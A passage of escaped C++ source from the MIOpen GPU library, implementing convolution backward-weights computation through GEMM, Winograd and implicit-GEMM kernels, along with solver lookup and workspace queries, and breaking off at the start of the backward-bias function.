\"\\t\" << entry.time << \"\\t\" << entry.workspace);\n\n    *returnedAlgoCount = std::min(requestAlgoCount, static_cast<int>(perf_db.size()));\n\n    for(int i = 0; i < *returnedAlgoCount; i++)\n    {\n        perfResults[i].bwd_weights_algo = StringToConvolutionBwdWeightsAlgo(perf_db[i].name);\n        perfResults[i].time             = perf_db[i].time;\n        perfResults[i].memory           = perf_db[i].workspace;\n    }\n    MIOPEN_LOG_I(\"BWrW Chosen Algorithm: \" << perf_db[0].solver_id << \" , \" << perf_db[0].workspace\n                                           << \", \"\n                                           << perf_db[0].time);\n}\n\nstatic void ConvWrwCheckNumerics(const Handle& handle,\n                                 const ConvWrwTensors& tensors,\n                                 const void* beta,\n                                 std::function<void()>&& worker)\n{\n    if(!miopen::CheckNumericsEnabled())\n    {\n        worker();\n        return;\n    }\n\n    miopen::checkNumericsInput(handle, tensors.dyDesc, tensors.dy);\n    miopen::checkNumericsInput(handle, tensors.xDesc, tensors.x);\n    if(!float_equal(*(static_cast<const float*>(beta)), 0))\n        miopen::checkNumericsInput(handle, tensors.dwDesc, tensors.dw);\n\n    worker();\n\n    miopen::checkNumericsOutput(handle, tensors.dwDesc, tensors.dw);\n}\n\n// BackwardWeightsAlgorithm()\nvoid ConvolutionDescriptor::ConvolutionBackwardWeights(Handle& handle,\n                                                       const void* alpha,\n                                                       const TensorDescriptor& dyDesc,\n                                                       ConstData_t dy,\n                                                       const TensorDescriptor& xDesc,\n                                                       ConstData_t x,\n                                                       miopenConvBwdWeightsAlgorithm_t algo,\n                                                       const void* beta,\n                                                       const TensorDescriptor& dwDesc,\n                                                       Data_t dw,\n                                                       Data_t workSpace,\n                                                       size_t workSpaceSize) const\n{\n    MIOPEN_LOG_I(\"algo = \" << algo << \", workspace = \" << workSpaceSize);\n    auto tensors = ConvWrwTensors{dyDesc, dy, xDesc, x, dwDesc, dw};\n    ValidateConvTensors(tensors);\n    ValidateAlphaBeta(alpha, beta);\n\n    if(xDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    ConvWrwCheckNumerics(handle, tensors, beta, [&]() {\n        ValidateGroupCount(xDesc, dwDesc, *this);\n\n        const auto algorithm_name = [=]() {\n            switch(algo)\n            {\n            case miopenConvolutionBwdWeightsAlgoGEMM:\n                return AlgorithmName{\"miopenConvolutionBwdWeightsAlgoGEMM\"};\n            case miopenConvolutionBwdWeightsAlgoDirect:\n                return AlgorithmName{\"miopenConvolutionBwdWeightsAlgoDirect\"};\n            case miopenConvolutionBwdWeightsAlgoWinograd:\n                return AlgorithmName{\"miopenConvolutionBwdWeightsAlgoWinograd\"};\n            case miopenConvolutionBwdWeightsAlgoImplicitGEMM:\n                return AlgorithmName{\"miopenConvolutionBwdWeightsAlgoImplicitGEMM\"};\n            }\n            MIOPEN_THROW(\"Unknown conv wrw algorigthm: \" + std::to_string(algo));\n        }();\n\n        auto ctx =\n            ConvolutionContext{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n        ctx.SetStream(&handle);\n        const auto network_config = ctx.BuildConfKey();\n        const auto& invoker       = handle.GetInvoker(network_config, boost::none, algorithm_name);\n\n        if(invoker)\n        {\n            const auto& invoke_ctx = conv::WrWInvokeParams{tensors, workSpace, workSpaceSize};\n            (*invoker)(handle, invoke_ctx);\n            return;\n        }\n\n        switch(algo)\n        {\n        case miopenConvolutionBwdWeightsAlgoDirect:\n            MIOPEN_THROW(\"No invoker was registered for convolution weights. Was find executed?\");\n        case miopenConvolutionBwdWeightsAlgoGEMM:\n            BackwardWeightsGemm(handle, tensors, workSpace, workSpaceSize);\n            break;\n        case miopenConvolutionBwdWeightsAlgoWinograd:\n        {\n            auto&& kernels = handle.GetKernels(algorithm_name, network_config);\n            if(kernels.empty())\n                MIOPEN_THROW(\"Error running Winograd WrW. Was Find() run previously?\");\n            BackwardWeightsWinograd(handle, ctx, tensors, workSpace, kernels);\n        }\n        break;\n        case miopenConvolutionBwdWeightsAlgoImplicitGEMM:\n        {\n            float elapsed  = 0.0;\n            auto&& kernels = handle.GetKernels(algorithm_name, network_config);\n            if(kernels.empty())\n                MIOPEN_THROW(\"Error running Implicit GEMM WrW. Was Find() run previously?\");\n\n            auto kernel = kernels[0];\n\n            // For fp16/bfp16 backward data case, do zero init, bwd data with fp32 output\n            // and cast from fp32 to fp16/bfp16\n            // clang-format off\n            if((dwDesc.GetType() == miopenHalf || dwDesc.GetType() == miopenBFloat16) &&\n               (kernel.GetName() == \"gridwise_convolution_implicit_gemm_v4r4_gen_xdlops_nchw_kcyx_nkhw_lds_double_buffer\" ||\n                kernel.GetName() == \"gridwise_convolution_implicit_gemm_v4r4_gen_xdlops_gnchw_gkcyx_gnkhw_lds_double_buffer\"))\n            // clang-format on\n            {\n                float zero = 0.f;\n                TensorDescriptor workSpaceDesc(\n                    miopenFloat, dwDesc.GetLengths(), dwDesc.GetStrides());\n                SetTensor(handle, workSpaceDesc, workSpace, &zero);\n                elapsed = handle.GetKernelTime();\n                kernel(x, dy, workSpace);\n                elapsed += handle.GetKernelTime();\n                CastTensor(handle, &lowp_quant, workSpaceDesc, workSpace, dwDesc, dw, 0, 0);\n                elapsed += handle.GetKernelTime();\n            }\n            else\n            {\n                float zero = 0.f;\n                SetTensor(handle, dwDesc, dw, &zero);\n                elapsed += handle.GetKernelTime();\n                kernel(x, dy, dw);\n                elapsed += handle.GetKernelTime();\n            }\n\n            if(handle.IsProfilingEnabled())\n            {\n                handle.ResetKernelTime();\n                handle.AccumKernelTime(elapsed);\n            }\n        }\n        }\n    });\n}\n\nvoid ConvolutionDescriptor::BackwardWeightsGemm(Handle& handle,\n                                                const ConvWrwTensors& tensors,\n                                                Data_t workSpace,\n                                                std::size_t workSpaceSize) const\n{\n#if MIOPEN_USE_GEMM\n    if(miopen::IsDisabled(MIOPEN_DEBUG_CONV_GEMM{}))\n    {\n        MIOPEN_THROW(\"GEMM convolution is disabled\");\n    }\n    if(IsAnyBufferBF16(tensors.xDesc, tensors.dyDesc, tensors.dwDesc) && !IsUseRocBlas)\n    {\n        MIOPEN_THROW(\"GEMM convolution is unsupported\");\n    }\n\n    std::size_t in_n, in_c;\n    std::tie(in_n, in_c) = tie_pick<0, 1>()(tensors.xDesc.GetLengths());\n\n    std::size_t wei_k = tensors.dwDesc.GetLengths()[0];\n\n    auto in_spatial =\n        boost::adaptors::slice(tensors.xDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n    auto wei_spatial =\n        boost::adaptors::slice(tensors.dwDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n    auto out_spatial =\n        boost::adaptors::slice(tensors.dyDesc.GetLengths(), 2, 2 + GetSpatialDimension());\n\n    // Zeroing out the output buffer\n    float zero = 0.0f;\n    SetTensor(handle, tensors.dwDesc, tensors.dw, &zero);\n\n    handle.ResetKernelTime();\n    float time_0 = 0;\n    if((miopen::any_of(wei_spatial, [](auto v) { return v != 1; }) ||\n        miopen::any_of(GetConvPads(), [](auto v) { return v != 0; }) ||\n        miopen::any_of(GetConvStrides(), [](auto v) { return v != 1; })))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, non 1x1\");\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, non 1x1\");\n        }\n        assert(workSpace != nullptr &&\n               workSpaceSize >=\n                   (BackwardWeightsGetWorkSpaceSizeGEMM(tensors.dyDesc, tensors.dwDesc)));\n\n        std::size_t out_spatial_size = std::accumulate(\n            out_spatial.begin(), out_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        std::size_t in_spatial_size = std::accumulate(\n            in_spatial.begin(), in_spatial.end(), std::size_t(1), std::multiplies<std::size_t>());\n\n        float t1 = 0;\n\n        for(std::size_t i = 0; i < in_n; i++)\n        {\n            std::size_t out_offset = i * wei_k * out_spatial_size;\n\n            std::size_t in_offset = i * in_c * in_spatial_size;\n\n            Im2ColGPU(handle,\n                      GetSpatialDimension(),\n                      tensors.x,\n                      in_offset,\n                      in_c,\n                      in_spatial,\n                      wei_spatial,\n                      out_spatial,\n                      GetConvPads(),\n                      GetConvStrides(),\n                      GetConvDilations(),\n                      workSpace,\n                      tensors.dyDesc.GetType());\n\n            if(handle.IsProfilingEnabled())\n                t1 = handle.GetKernelTime();\n\n            if(group_count > 1)\n            {\n                GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvBwdWeight(\n                    tensors.dyDesc, tensors.xDesc, tensors.dwDesc, group_count);\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.dy,\n                                       out_offset,\n                                       workSpace,\n                                       0,\n                                       tensors.dw,\n                                       0,\n                                       nullptr,\n                                       false);\n            }\n            else\n            {\n                // tensors.dw = tensors.dy * transpose(Im2Col(tensors.x))\n                GemmDescriptor gemm_desc = CreateGemmDescriptorConvBwdWeight(\n                    tensors.dyDesc, tensors.xDesc, tensors.dwDesc);\n\n                // dw = dy * transpose(Im2Col(x))\n                CallGemm(handle,\n                         gemm_desc,\n                         tensors.dy,\n                         out_offset,\n                         workSpace,\n                         0,\n                         tensors.dw,\n                         0,\n                         nullptr,\n                         false,\n                         GemmBackend_t::miopengemm);\n            }\n            // Update times for both the kernels\n            if(handle.IsProfilingEnabled())\n            {\n                if(i == in_n - 1)\n                    handle.AccumKernelTime(t1 + time_0);\n                else\n                    handle.AccumKernelTime(t1);\n                time_0 += handle.GetKernelTime();\n            }\n        }\n    }\n    else if(miopen::any_of(wei_spatial, [](auto v) { return v == 1; }) &&\n            miopen::any_of(GetConvPads(), [](auto v) { return v == 0; }) &&\n            miopen::any_of(GetConvStrides(), [](auto v) { return v == 1; }))\n    {\n        if(group_count > 1)\n        {\n            MIOPEN_LOG_FUNCTION(\"groupconv, 1x1\");\n\n            GemmDescriptor gemm_desc = CreateGemmDescriptorGroupConvBwdWeight(\n                tensors.dyDesc, tensors.xDesc, tensors.dwDesc, group_count);\n\n            std::size_t out_spatial_size = std::accumulate(out_spatial.begin(),\n                                                           out_spatial.end(),\n                                                           std::size_t(1),\n                                                           std::multiplies<std::size_t>());\n\n            std::size_t in_spatial_size = std::accumulate(in_spatial.begin(),\n                                                          in_spatial.end(),\n                                                          std::size_t(1),\n                                                          std::multiplies<std::size_t>());\n\n            for(std::size_t i = 0; i < in_n; i++)\n            {\n                std::size_t out_offset = i * wei_k * out_spatial_size;\n\n                std::size_t in_offset = i * in_c * in_spatial_size;\n\n                CallGemmStridedBatched(handle,\n                                       gemm_desc,\n                                       tensors.dy,\n                                       out_offset,\n                                       tensors.x,\n                                       in_offset,\n                                       tensors.dw,\n                                       0,\n                                       nullptr,\n                                       false);\n\n                if(handle.IsProfilingEnabled())\n                {\n                    if(i == in_n - 1)\n                        handle.AccumKernelTime(time_0);\n                    time_0 += handle.GetKernelTime();\n                }\n            }\n        }\n        else\n        {\n            MIOPEN_LOG_FUNCTION(\"convolution, 1x1\");\n\n            // dw = sum_over_batch(dy[i] * transpose(x[i])), i is batch id\n            GemmDescriptor gemm_desc = CreateGemmStridedBatchedDescriptorConv1x1BwdWeight(\n                tensors.dyDesc, tensors.xDesc, tensors.dwDesc);\n\n            // dw = sum_over_batch(dy[i] * transpose(x[i])), i is batch id\n            CallGemmStridedBatchedSequential(handle,\n                                             gemm_desc,\n                                             tensors.dy,\n                                             0,\n                                             tensors.x,\n                                             0,\n                                             tensors.dw,\n                                             0,\n                                             nullptr,\n                                             false,\n                                             GemmBackend_t::miopengemm);\n        }\n    }\n\n#ifdef NDEBUG\n    std::ignore = workSpaceSize;\n#endif\n#else\n    std::ignore = handle;\n    std::ignore = tensors;\n    std::ignore = workSpace;\n    std::ignore = workSpaceSize;\n    MIOPEN_THROW(\"GEMM is not supported\");\n#endif\n}\n\ntemplate <class TKernels>\nvoid ConvolutionDescriptor::BackwardWeightsWinograd(Handle& handle,\n                                                    const ConvolutionContext& ctx,\n                                                    const ConvWrwTensors& tensors,\n                                                    Data_t workSpace,\n                                                    const TKernels& kernels) const\n{\n    if(kernels.size() > 1)\n    {\n        auto kernel_1 = kernels.front();\n        if(kernel_1.GetName() == solver::ConvWinograd3x3MultipassWrW<3, 2>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<3, 2>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<3, 3>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<3, 3>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<3, 4>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<3, 4>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<3, 5>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<3, 5>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<3, 6>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<3, 6>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<7, 2>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<7, 2>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<7, 3>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<7, 3>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<7, 2, 1, 1>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<7, 2, 1, 1>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<7, 3, 1, 1>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<7, 3, 1, 1>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<1, 1, 7, 2>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<1, 1, 7, 2>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<1, 1, 7, 3>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<1, 1, 7, 3>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<5, 3>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<5, 3>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n        else if(kernel_1.GetName() ==\n                solver::ConvWinograd3x3MultipassWrW<5, 4>::GetSolverKernelNames(0))\n            EvaluateWinograd3x3MultipassWrW<5, 4>(\n                handle, ctx, tensors, workSpace, kernels, GetConvPads()[0], GetConvPads()[1]);\n    }\n    else\n    { // single pass\n        static const int F_FLIP_K_C      = 1 << 2;\n        static const int F_NKC_STRIDES   = 1 << 9;\n        static const int F_GROUP_STRIDES = 1 << 10;\n        int flags                        = F_FLIP_K_C + F_NKC_STRIDES;\n        int reserved                     = 0;\n        int* reserved_ptr                = nullptr;\n        int pad_H                        = GetConvPads()[0];\n        int pad_W                        = GetConvPads()[1];\n\n        int N, C, H, W, K, n_groups, out_H, out_W, R, S, unused;\n\n        if(kernels[0].GetName().rfind(\"miopenSp3AsmConv_v21_1_0\", 0) == 0)\n        {\n            GetCompiledInParameters(\n                ctx, &C, &K, &R, &S, &N, &n_groups, &H, &W, &out_H, &out_W, &unused, &unused);\n            // GetCompiledInParameters(\n            //  ctx, &N, &C, &H, &W, &K, &n_groups, &out_H, &out_W, &R, &S, &pad_H, &pad_W);\n\n            flags          = F_NKC_STRIDES + F_GROUP_STRIDES;\n            auto group_cnt = ctx.group_counts;\n            N              = N / group_cnt;\n            K              = K / group_cnt;\n\n            // cppcheck-suppress unreadVariable\n            BuffInfo d_buf(\n                GetGroupConvLayout(GetSwappedNCLayout(GetMemLayout_t(ctx.in_layout)), true),\n                N,\n                C,\n                H,\n                W,\n                1,\n                group_cnt,\n                GetTypeSize(ctx.in_data_type)),\n                // cppcheck-suppress unreadVariable\n                o_buf(GetGroupConvLayout(GetSwappedNCLayout(GetMemLayout_t(ctx.out_layout)), false),\n                      N,\n                      K,\n                      out_H,\n                      out_W,\n                      1,\n                      group_cnt,\n                      GetTypeSize(ctx.out_data_type)),\n                // cppcheck-suppress unreadVariable\n                f_buf(GetGroupConvLayout(GetSwappedNCLayout(MemLayout_t::NCHW), true),\n                      K,\n                      C,\n                      R,\n                      S,\n                      1,\n                      group_cnt,\n                      GetTypeSize(ctx.weights_data_type));\n\n            if(GetKernelLocalWorkDim(kernels[0], 0) != 0)\n                n_groups = solver::ConvBinWinogradRxSf2x3::GetNGroups(\n                    ctx.group_counts,\n                    GetKernelGlobalWorkDim(kernels[0], 0) / GetKernelLocalWorkDim(kernels[0], 0));\n            else\n                n_groups = solver::ConvBinWinogradRxSf2x3::GetNGroups(\n                    ctx.group_counts,\n                    GetKernelGlobalWorkDim(kernels[0], 0) / 512); // For OCL runtime. Issue #1724\n\n            // clang-format off\n            MIOPEN_LOG_I2(\" N=\" << N << \" G=\" << group_cnt << \" C=\" << C << \" H=\" << H << \" W=\" << W << \" K=\" << K\n                << \" n_groups=\" << n_groups << \" flags=\" << flags << \" R=\" << R << \" S=\" << S\n                << \" pad_H=\" << pad_H << \" pad_W=\" << pad_W << \" out_H=\" << out_H << \" out_W=\" << out_W\n                << \" d_buf.byte_stride.nk=\" << d_buf.byte_stride.nk << \" d_buf.byte_stride.c=\" << d_buf.byte_stride.c\n                << \" d_buf.byte_stride.h=\" << d_buf.byte_stride.h << \" d_buf.byte_stride.w=\" << d_buf.byte_stride.w\n                << \" f_buf.byte_stride.nk=\" << f_buf.byte_stride.nk << \" f_buf.byte_stride.c=\" << f_buf.byte_stride.c\n                << \" f_buf.byte_stride.h=\" << f_buf.byte_stride.h << \" f_buf.byte_stride.w=\" << f_buf.byte_stride.w\n                << \" o_buf.byte_stride.nk=\" << o_buf.byte_stride.nk << \" o_buf.byte_stride.c=\" << o_buf.byte_stride.c\n                << \" o_buf.byte_stride.h=\"  << o_buf.byte_stride.h <<  \" o_buf.byte_stride.w=\" << o_buf.byte_stride.w\n                << \" d_buf.byte_stride.g=\" << d_buf.byte_stride.g\n                << \" f_buf.byte_stride.g=\" << f_buf.byte_stride.g\n                << \" o_buf.byte_stride.g=\" << o_buf.byte_stride.g); // clang-format on\n\n            kernels[0](N,\n                       C,\n                       H,\n                       W,\n                       K,\n                       n_groups,\n                       flags,\n                       reserved,\n                       tensors.x,\n                       tensors.dy,\n                       tensors.dw,\n                       reserved_ptr, // Unused return_addr.\n                       R,\n                       S,\n                       pad_H, // Like Fwd wino.\n                       pad_W,\n                       out_H,\n                       out_W,\n                       reserved_ptr, // Unused bias_addr.\n                       reserved,     // Unused relu_alpha.\n                       d_buf.byte_stride.nk,\n                       d_buf.byte_stride.c,\n                       d_buf.byte_stride.h,\n                       d_buf.byte_stride.w,\n                       f_buf.byte_stride.nk,\n                       f_buf.byte_stride.c,\n                       f_buf.byte_stride.h,\n                       f_buf.byte_stride.w,\n                       o_buf.byte_stride.nk,\n                       o_buf.byte_stride.c,\n                       o_buf.byte_stride.h,\n                       o_buf.byte_stride.w,\n                       group_cnt,\n                       d_buf.byte_stride.g,\n                       f_buf.byte_stride.g,\n                       o_buf.byte_stride.g);\n        }\n        else\n        {\n            auto kernel = kernels.front();\n            // For bwd & wrw inputs and outputs reside in k_p in reversed order.\n            GetCompiledInParameters(\n                ctx, &N, &K, &out_H, &out_W, &C, &n_groups, &H, &W, &R, &S, &unused, &unused);\n            using dataType = float;\n            int d_N_stride = H * W * static_cast<int>(sizeof(dataType));\n            int d_C_stride = C * d_N_stride;\n            int f_K_stride = out_H * out_W * static_cast<int>(sizeof(dataType));\n            int f_C_stride = K * f_K_stride;\n            int o_N_stride = R * S * static_cast<int>(sizeof(dataType));\n            int o_K_stride = C * o_N_stride;\n            // clang-format off\n            MIOPEN_LOG_I2(\" N=\" << N << \" C=\" << C << \" H=\" << H << \" W=\" << W << \" K=\" << K\n                << \" n_groups=\" << n_groups << \" flags=\" << flags << \" R=\" << R << \" S=\" << S\n                << \" pad_H=\" << pad_H << \" pad_W=\" << pad_W << \" out_H=\" << out_H << \" out_W=\" << out_W\n                << \" d_N_stride=\" << d_N_stride << \" d_C_stride=\" << d_C_stride\n                << \" f_K_stride=\" << f_K_stride << \" f_C_stride=\" << f_C_stride\n                << \" o_N_stride=\" << o_N_stride << \" o_K_stride=\" << o_K_stride ); // clang-format on\n            kernel(C,\n                   N,\n                   H,\n                   W,\n                   K,\n                   n_groups,\n                   flags,\n                   reserved,\n                   tensors.x,\n                   tensors.dy,\n                   tensors.dw,\n                   reserved_ptr,\n                   out_H,\n                   out_W,\n                   pad_H,\n                   pad_W,\n                   R,\n                   S,\n                   reserved_ptr,\n                   reserved,\n                   d_N_stride,\n                   d_C_stride,\n                   f_K_stride,\n                   f_C_stride,\n                   o_N_stride,\n                   o_K_stride);\n        }\n    }\n    ////single pass end\n}\n\nProblemDescription ConvolutionDescriptor::MakeWrwProblem(const TensorDescriptor& dyDesc,\n                                                         const TensorDescriptor& xDesc,\n                                                         const TensorDescriptor& dwDesc) const\n{\n    auto problem =\n        ProblemDescription{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n    return problem;\n}\n\nstd::size_t ConvolutionDescriptor::GetWrwSolutionCount(Handle& handle,\n                                                       const TensorDescriptor& dyDesc,\n                                                       const TensorDescriptor& xDesc,\n                                                       const TensorDescriptor& dwDesc) const\n{\n    MIOPEN_LOG_I(\"\");\n    const auto problem = MakeWrwProblem(dyDesc, xDesc, dwDesc);\n    const auto count   = GetSolutionCount(handle, problem);\n    if(count > 0)\n        return count;\n    return GetWrwSolutionCountFallback(dyDesc, xDesc, dwDesc);\n}\n\nvoid ConvolutionDescriptor::GetWrwSolutions(Handle& handle,\n                                            const TensorDescriptor& dyDesc,\n                                            const TensorDescriptor& xDesc,\n                                            const TensorDescriptor& dwDesc,\n                                            size_t maxSolutionCount,\n                                            size_t* solutionCount,\n                                            miopenConvSolution_t* solutions) const\n{\n    MIOPEN_LOG_I(\"\");\n    if(solutionCount == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutionCount cannot be nullptr\");\n    if(solutions == nullptr)\n        MIOPEN_THROW(miopenStatusBadParm, \"solutions cannot be nullptr\");\n\n    const auto problem = MakeWrwProblem(dyDesc, xDesc, dwDesc);\n    GetSolutions(handle,\n                 problem,\n                 maxSolutionCount,\n                 solutionCount,\n                 solutions,\n                 StringToConvolutionBwdWeightsAlgo);\n\n    if(*solutionCount == 0)\n        GetWrwSolutionsFallback(\n            handle, dyDesc, xDesc, dwDesc, maxSolutionCount, solutionCount, solutions);\n}\n\nvoid ConvolutionDescriptor::CompileWrwSolution(Handle& handle,\n                                               const TensorDescriptor& dyDesc,\n                                               const TensorDescriptor& xDesc,\n                                               const TensorDescriptor& dwDesc,\n                                               solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString());\n    auto ctx = ConvolutionContext{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n    ctx.SetStream(&handle);\n    ctx.disable_search_enforce = true;\n\n    CompileSolution(handle, solver_id, ctx, conv::Direction::BackwardWeights, [&]() {\n        MIOPEN_THROW(\"FFT is not supported in WrW\");\n    });\n}\n\nstd::size_t ConvolutionDescriptor::GetWrwSolutionWorkspaceSize(Handle& handle,\n                                                               const TensorDescriptor& dyDesc,\n                                                               const TensorDescriptor& xDesc,\n                                                               const TensorDescriptor& dwDesc,\n                                                               solver::Id solver_id) const\n{\n    MIOPEN_LOG_I2(\"solver_id = \" << solver_id.ToString());\n    if(!solver_id.IsValid())\n        MIOPEN_THROW(miopenStatusBadParm, \"invalid solution id = \" + solver_id.ToString());\n    if(solver_id != solver::Id::gemm() && solver_id != solver::Id::fft())\n    {\n        auto sol = solver_id.GetSolver();\n        auto problem =\n            ProblemDescription{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n        auto ctx = ConvolutionContext{problem};\n        ctx.SetStream(&handle);\n        ctx.DetectRocm();\n        if(sol.IsApplicable(ctx))\n            return sol.GetWorkspaceSize(ctx);\n        else\n        {\n            MIOPEN_THROW(miopenStatusBadParm,\n                         \"The supplied solution id: \" + solver_id.ToString() +\n                             \" is not applicable to the current problem\");\n        }\n    }\n    return GetWrwSolutionWorkspaceSizeFallback(handle, dyDesc, xDesc, dwDesc, solver_id);\n}\n\nvoid ConvolutionDescriptor::ConvolutionWrwImmediate(Handle& handle,\n                                                    const TensorDescriptor& dyDesc,\n                                                    ConstData_t dy,\n                                                    const TensorDescriptor& xDesc,\n                                                    ConstData_t x,\n                                                    const TensorDescriptor& dwDesc,\n                                                    Data_t dw,\n                                                    Data_t workSpace,\n                                                    std::size_t workSpaceSize,\n                                                    solver::Id solver_id) const\n{\n    MIOPEN_LOG_I(\"solver_id = \" << solver_id.ToString() << \", workspace = \" << workSpaceSize);\n    auto tensors = ConvWrwTensors{dyDesc, dy, xDesc, x, dwDesc, dw};\n    ValidateConvTensors(tensors);\n\n    if(xDesc.GetType() == miopenInt8)\n        MIOPEN_THROW(miopenStatusBadParm);\n\n    float beta = 0;\n    ConvWrwCheckNumerics(handle, tensors, &beta, [&]() {\n        ValidateGroupCount(xDesc, dwDesc, *this);\n\n        auto ctx =\n            ConvolutionContext{xDesc, dwDesc, dyDesc, *this, conv::Direction::BackwardWeights};\n        ctx.SetStream(&handle);\n\n        if(CheckInvokerSupport(solver_id, conv::Direction::BackwardWeights))\n        {\n            const auto invoker =\n                LoadOrPrepareInvoker(handle, ctx, solver_id, conv::Direction::BackwardWeights);\n            const auto invoke_ctx = conv::WrWInvokeParams{tensors, workSpace, workSpaceSize};\n            invoker(handle, invoke_ctx);\n            return;\n        }\n\n        if(solver_id == solver::Id::gemm())\n        {\n            BackwardWeightsGemm(handle, tensors, workSpace, workSpaceSize);\n            return;\n        }\n\n        const auto network_config = ctx.BuildConfKey();\n        auto algo_name            = solver_id.GetAlgo(conv::Direction::BackwardWeights);\n        const auto&& chk_kernels  = handle.GetKernels(algo_name, network_config);\n        auto v_chk_kernels = std::vector<KernelInvoke>{chk_kernels.begin(), chk_kernels.end()};\n        if(!v_chk_kernels.empty())\n        {\n            MIOPEN_LOG_I2(\n                \"Found previously compiled kernels for solution: \" << solver_id.ToString());\n\n            if(algo_name == \"miopenConvolutionBwdWeightsAlgoWinograd\")\n                BackwardWeightsWinograd(handle, ctx, tensors, workSpace, v_chk_kernels);\n            else if(algo_name == \"miopenConvolutionBwdWeightsAlgoImplicitGEMM\")\n                v_chk_kernels[0](x, dy, dw);\n            else\n                MIOPEN_THROW(\"Invalid algorithm: \" + algo_name);\n            return;\n        }\n\n        const FindDbRecord fdb_record{handle, ctx};\n\n        for(const auto& pair : fdb_record)\n        {\n            if(solver::Id{pair.second.solver_id} != solver_id)\n                continue;\n\n            const auto&& kernels = handle.GetKernels(pair.second.kcache_key.algorithm_name,\n                                                     pair.second.kcache_key.network_config);\n            auto v_kernels = std::vector<KernelInvoke>{kernels.begin(), kernels.end()};\n\n            if(v_kernels.empty())\n                v_kernels = CompileSolver(handle, ctx, solver_id, pair.second.kcache_key);\n\n            if(pair.second.kcache_key.algorithm_name == \"miopenConvolutionBwdWeightsAlgoWinograd\")\n                BackwardWeightsWinograd(handle, ctx, tensors, workSpace, v_kernels);\n            else if(pair.second.kcache_key.algorithm_name ==\n                    \"miopenConvolutionBwdWeightsAlgoImplicitGEMM\")\n                v_kernels[0](x, dy, dw);\n            else\n                MIOPEN_THROW(\"Invalid algorithm: \" + pair.second.kcache_key.algorithm_name);\n            return;\n        }\n\n        // Todo: solver not found in find-db.\n        MIOPEN_THROW(miopenStatusNotImplemented);\n    });\n}\n\nvoid ConvolutionBackwardBias(const Handle& handle,\n                             const void* alpha,\n                             const TensorDescriptor& dyDesc,\n                             ConstData_t dy,\n                             const void* beta,\n                             const TensorDescriptor& dbDesc,\n                             Data_t db)\n{\n    if(dy == nullptr || db == nullptr)\n    {\n        MIOPEN_THROW(miopenStatusBadParm);\n    }\n    if(dyDesc.GetLengths()[1] != dbDesc.GetLengths()[1])\n    {\n        MIOPEN_THROW(miopenStatusBadParm);\n    }\n    if(!float_equal(*(static_cast<const float*>(alpha)), 1.0) ||\n       !float_equal(*(static_cast<const float*>(beta)), 0))\n    {\n        MIOPEN_THROW(\"Only alpha=1 and beta=0 is supported\");\n    }\n    if(miopen::CheckNumericsEnabled())\n    {\n        miopen::checkNumericsInput(handle, dyDesc, dy);\n    }\n\n    std::size_t out_n, out_k, stride_n, stride_k;\n    std::tie(out_n, out_k)       = tie_pick<0, 1>()(dyDesc.GetLengths());\n    